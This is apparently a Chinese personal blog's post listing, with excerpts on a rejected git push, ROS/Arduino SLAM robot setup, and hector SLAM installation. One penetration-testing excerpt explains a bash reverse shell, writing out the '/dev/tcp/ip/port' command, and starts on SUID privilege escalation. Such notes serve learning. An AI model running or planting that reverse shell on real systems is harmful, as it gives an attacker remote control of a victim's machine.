不能用vscode提交代码到github

正常提交报错：[heige@archlinux source]$ git push origin main To github.com:1hei1/haos.git ! [rejected] main -> main (non-fast-forward) error: failed to push some refs to 'github.com:1hei1/haos.git' hint: Updates were rejected because the tip of your current branch is behind hint: its remote counterpart. Integrate the remote changes (e.g. hint: 'git pull ...') before pushing again. hint: See the 'Note about fast-forwards' in 'git push --help' for details. 使用强制提交git push -f origin main输出：Enume

闲聊 · 07-23

ros+arduino+树莓派+slam建图+路径规划

硬件：树莓派3b，arduino开发板，霍尔ab电机，电机驱动模块，激光雷达软件：ros操作系统，ros_arduino_bridge软件包（包括ros端运行和下位机运行代码），雷达驱动，gmapping包，navigation包，map_server包步骤：1.下载ros_arduino_bridge包，配置开发环境（用来烧录程序到下位机）具体安装步骤见下文ros_arduino_bridge开发环境搭建2.修改ros——arduino——bridge参数并编译进arduino（使得arduino可以正确的驱动电机，以及确定哪些引脚连接电机驱动板的哪里）具体步骤见下文arduino修改以适应自定义电机note:这里面有几个小问题2—1.需要将arduino的IDE的串口监视器设置成如下格式2-2.上文提到的添加xxxx内容，这里的添加位置是2-3.记好你设置的引脚，那个是pwm,那个是控制器2-4.还有一点，上文设置的的时候我以为最后 #define L298P_MOTOR_DRIVER是把 #define L298_MOTOR_DRIVER前面的注释取消，谁知道他两个不一样

闲聊 · 06-16

navigation源码安装

1.下载源码包 git clone https://github.com/ros-planning/navigation.git 2.将源码包移入工作空间的src中3.下载依赖 rosdep install --from-paths src --ignore-src -r -y 4.编译catkin_make编译成功截图

闲聊 · 06-10

反弹shell

反弹shell的原理：通过受害主机运行攻击者的程序，主动与攻击主机进行tcp会话，同时攻击主机处于监听状态，之后一步一步提权反弹shell：1.指令： bash -i >& /dev/tcp/ip/port 0>&1 2>&1 2.指令解析：bash -i 创建一个shell会话在介绍>&之前，先介绍以下描述符描述符 : 0 标准输入 1 标准输出 2 错误输出xx >& xx : >&后面如果是文件的话，意思就是将前面的输出传进后面的文件里 如果后面是描述符，如0>&1就是将标准输入传入到标准输出3.总结：上述指令的含义是：将本地终端的标准输出传入到远程主机(bash -i >& /dev···)，之后将远程主机的标准输入传入本地终端(0>&1)，执行完成后将标准输出传入到远程主机，形成一个回环find suid提权原理通过具有suid权限的可执行二进制文件可以使得权限暂时提升为root用户，在当前任务线

渗透测试 · 05-31

hector仅激光雷达绘图

1.在工作空间的根目录下下载hector的源码包wget https://heiblog.top/app/hector_slam.zip unzip hector_slam.zip2.下载完成后放在工作空间的src目录下cd src mv hector_slam src3.编译cd .. catkin_make4.设置雷达的farm_id为laser(根据自己的雷达进行设置)5.运行source ./devel/setup.bash roslaunch hector_slam_launch tutorial.launch6.添加订阅map话题

闲聊 · 05-24
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